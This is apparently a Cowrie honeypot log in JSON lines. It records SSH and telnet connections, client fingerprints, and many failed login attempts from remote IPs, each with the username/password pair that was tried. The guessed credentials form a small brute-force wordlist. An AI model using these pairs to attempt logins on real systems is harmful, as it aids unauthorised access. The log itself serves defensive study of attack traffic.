{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:48.119967Z","src_ip":"2.57.121.25","session":"7e9eb20ad40d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"201283","message":"login attempt [user/201283] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:48.590197Z","src_ip":"2.57.121.25","session":"7e9eb20ad40d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51384,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5fcc9d88f38","protocol":"telnet","message":"New connection: 152.42.224.71:51384 (10.17.0.5:23) [session: c5fcc9d88f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:49.339284Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"200990","message":"login attempt [user/200990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:49.692656Z","src_ip":"2.57.121.25","session":"7e9eb20ad40d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20091994","message":"login attempt [user/20091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:50.796488Z","src_ip":"2.57.121.25","session":"7e9eb20ad40d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20081996","message":"login attempt [user/20081996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:51.899409Z","src_ip":"2.57.121.25","session":"7e9eb20ad40d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20061974","message":"login attempt [user/20061974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:53.002309Z","src_ip":"2.57.121.25","session":"7e9eb20ad40d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:54.106230Z","src_ip":"2.57.121.25","session":"7e9eb20ad40d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.453802824020386,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:04.634219Z","src_ip":"152.42.224.71","session":"4ae65c35baea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43284,"dst_ip":"10.17.0.5","dst_port":22,"session":"4947f11e5fce","protocol":"ssh","message":"New connection: 193.32.162.145:43284 (10.17.0.5:22) [session: 4947f11e5fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:21.755661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:21.761796Z","src_ip":"193.32.162.145","session":"4947f11e5fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:21.877516Z","src_ip":"193.32.162.145","session":"4947f11e5fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:22.199314Z","src_ip":"193.32.162.145","session":"4947f11e5fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:23.311528Z","src_ip":"193.32.162.145","session":"4947f11e5fce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":36726,"dst_ip":"10.17.0.5","dst_port":22,"session":"7faaa4f67655","protocol":"ssh","message":"New connection: 103.183.114.55:36726 (10.17.0.5:22) [session: 7faaa4f67655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:24.874268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:24.881877Z","src_ip":"103.183.114.55","session":"7faaa4f67655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:25.106227Z","src_ip":"103.183.114.55","session":"7faaa4f67655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leralera","message":"login attempt [root/leralera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:25.847486Z","src_ip":"103.183.114.55","session":"7faaa4f67655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:27.072114Z","src_ip":"103.183.114.55","session":"7faaa4f67655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50212,"dst_ip":"10.17.0.5","dst_port":23,"session":"826724062c29","protocol":"telnet","message":"New connection: 152.42.224.71:50212 (10.17.0.5:23) [session: 826724062c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:29.011006Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":37730,"dst_ip":"10.17.0.5","dst_port":22,"session":"143d6f258568","protocol":"ssh","message":"New connection: 62.133.62.83:37730 (10.17.0.5:22) [session: 143d6f258568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:31.739013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:31.743717Z","src_ip":"62.133.62.83","session":"143d6f258568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:31.824006Z","src_ip":"62.133.62.83","session":"143d6f258568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm12","message":"login attempt [root/zxcvbnm12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:32.064769Z","src_ip":"62.133.62.83","session":"143d6f258568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:33.157317Z","src_ip":"62.133.62.83","session":"143d6f258568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.199.87","src_port":57772,"dst_ip":"10.17.0.5","dst_port":23,"session":"444d6e2b497c","protocol":"telnet","message":"New connection: 71.6.199.87:57772 (10.17.0.5:23) [session: 444d6e2b497c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:37.269110Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58646,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a0e950fb91e","protocol":"telnet","message":"New connection: 152.42.224.71:58646 (10.17.0.5:23) [session: 6a0e950fb91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:46.407866Z"}
{"eventid":"cowrie.session.closed","duration":10.087673425674438,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:47.356618Z","src_ip":"71.6.199.87","session":"444d6e2b497c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":59736,"dst_ip":"159.203.135.109","dst_port":23,"session":"a540cb942751","protocol":"telnet","message":"New connection: 213.108.3.46:59736 (159.203.135.109:23) [session: a540cb942751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:48.676827Z"}
{"eventid":"cowrie.session.closed","duration":0.01834249496459961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:48.695050Z","src_ip":"213.108.3.46","session":"a540cb942751","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58652,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecabd8614d7f","protocol":"telnet","message":"New connection: 152.42.224.71:58652 (10.17.0.5:23) [session: ecabd8614d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:03:48.868053Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.233.2","src_port":48998,"dst_ip":"159.203.135.109","dst_port":22,"session":"6826b1241c41","protocol":"ssh","message":"New connection: 139.59.233.2:48998 (159.203.135.109:22) [session: 6826b1241c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:00.260453Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:00.577703Z","src_ip":"139.59.233.2","session":"6826b1241c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.007813930511475,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:04.018678Z","src_ip":"152.42.224.71","session":"826724062c29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46268,"dst_ip":"10.17.0.5","dst_port":23,"session":"45015a8bc140","protocol":"telnet","message":"New connection: 152.42.224.71:46268 (10.17.0.5:23) [session: 45015a8bc140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:04.866054Z"}
{"eventid":"cowrie.session.closed","duration":82.39963603019714,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:11.738820Z","src_ip":"152.42.224.71","session":"c5fcc9d88f38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":6596,"dst_ip":"10.17.0.5","dst_port":22,"session":"1db9d6fa2c2c","protocol":"ssh","message":"New connection: 213.209.159.56:6596 (10.17.0.5:22) [session: 1db9d6fa2c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:20.507596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:20.520410Z","src_ip":"213.209.159.56","session":"1db9d6fa2c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:20.603747Z","src_ip":"213.209.159.56","session":"1db9d6fa2c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefany","password":"stefany","message":"login attempt [stefany/stefany] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:21.004475Z","src_ip":"213.209.159.56","session":"1db9d6fa2c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefany","password":"stefany1","message":"login attempt [stefany/stefany1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:22.090894Z","src_ip":"213.209.159.56","session":"1db9d6fa2c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":33736,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca8d38e66497","protocol":"ssh","message":"New connection: 50.7.136.106:33736 (10.17.0.5:22) [session: ca8d38e66497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:22.134236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:22.140399Z","src_ip":"50.7.136.106","session":"ca8d38e66497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:22.223837Z","src_ip":"50.7.136.106","session":"ca8d38e66497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:22.471399Z","src_ip":"50.7.136.106","session":"ca8d38e66497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefany","password":"stefany123","message":"login attempt [stefany/stefany123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:23.176832Z","src_ip":"213.209.159.56","session":"1db9d6fa2c2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:23.556926Z","src_ip":"50.7.136.106","session":"ca8d38e66497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefany","password":"stefany1234","message":"login attempt [stefany/stefany1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:24.263772Z","src_ip":"213.209.159.56","session":"1db9d6fa2c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefany","password":"stefany12345","message":"login attempt [stefany/stefany12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:25.350224Z","src_ip":"213.209.159.56","session":"1db9d6fa2c2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:26.437303Z","src_ip":"213.209.159.56","session":"1db9d6fa2c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43028,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf36a196aae2","protocol":"telnet","message":"New connection: 152.42.224.71:43028 (10.17.0.5:23) [session: bf36a196aae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:26.686259Z"}
{"eventid":"cowrie.session.closed","duration":59.45951867103577,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:45.867284Z","src_ip":"152.42.224.71","session":"6a0e950fb91e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.02983283996582,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:45.897750Z","src_ip":"152.42.224.71","session":"ecabd8614d7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47652,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a982ef97124","protocol":"telnet","message":"New connection: 152.42.224.71:47652 (10.17.0.5:23) [session: 9a982ef97124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:47.918286Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47660,"dst_ip":"10.17.0.5","dst_port":23,"session":"17ecf6a90813","protocol":"telnet","message":"New connection: 152.42.224.71:47660 (10.17.0.5:23) [session: 17ecf6a90813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:50.996602Z"}
{"eventid":"cowrie.session.closed","duration":48.694451093673706,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:04:53.560364Z","src_ip":"152.42.224.71","session":"45015a8bc140","protocol":"telnet"}
